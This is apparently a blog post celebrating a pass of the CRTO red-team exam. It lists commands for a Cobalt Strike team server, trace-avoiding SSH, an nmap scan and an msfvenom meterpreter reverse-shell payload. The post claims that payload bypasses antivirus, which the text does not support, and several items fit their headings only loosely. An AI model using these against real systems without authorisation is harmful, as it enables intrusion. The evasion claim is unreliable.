After 25 hours of continuous grind during the exam and 4 months of dedicated preparation, today I’ve successfully passed the CRTO exam by Zero-Point Security Ltd. This exam was literally challenging, testing my skills in Adversary Simulation, C2 (Cobalt Strike), Engagement Planning, and Time Management. Along with a deep understanding of OPSEC concerns and bypassing defensive mechanisms to achieve success. CS $ Red Sword—every Red Teamer’s dream to own. Alhamdulillah!
Practice-Verified Codes and Commands
1. Cobalt Strike C2 Setup
./teamserver <your-ip> <password> [/path/to/c2.profile]
This command initializes the Cobalt Strike team server, which is essential for command and control during red team operations.
2. OPSEC Considerations
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null user@target
This SSH command avoids leaving traces in the `known_hosts` file, maintaining operational security.
3. Bypassing Defensive Mechanisms
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your-ip> LPORT=4444 -f exe -o payload.exe
Generate a payload with Metasploit that can be used to bypass AV detection.
4. Time Management with Cron Jobs
crontab -e
Add a cron job to automate tasks during engagements:
*/5 * * * * /path/to/script.sh
This runs a script every 5 minutes, ensuring timely execution of tasks.
5. Engagement Planning with Nmap
nmap -sS -sV -O -T4 -p- <target-ip>
Perform a comprehensive scan to gather information about the target.
What Undercode Say
The journey to becoming a Certified Red Team Operator (CRTO) is a testament to the dedication and skill required in the field of cybersecurity. The exam not only tests technical prowess but also the ability to think like an adversary, plan engagements meticulously, and manage time effectively. Tools like Cobalt Strike and Metasploit are indispensable, but understanding OPSEC and defensive bypass techniques is equally crucial.
In the realm of red teaming, Linux and Windows commands play a pivotal role. For instance, using `ssh` with OPSEC considerations or setting up cron jobs for automation can significantly enhance operational efficiency. Nmap remains a cornerstone for reconnaissance, providing detailed insights into target environments.
For those aspiring to follow this path, continuous learning and hands-on practice are essential. Resources like Zero-Point Security’s CRTO course and platforms like Hack The Box or TryHackMe offer invaluable practice environments. Remember, the key to success lies not just in passing the exam but in applying these skills in real-world scenarios.
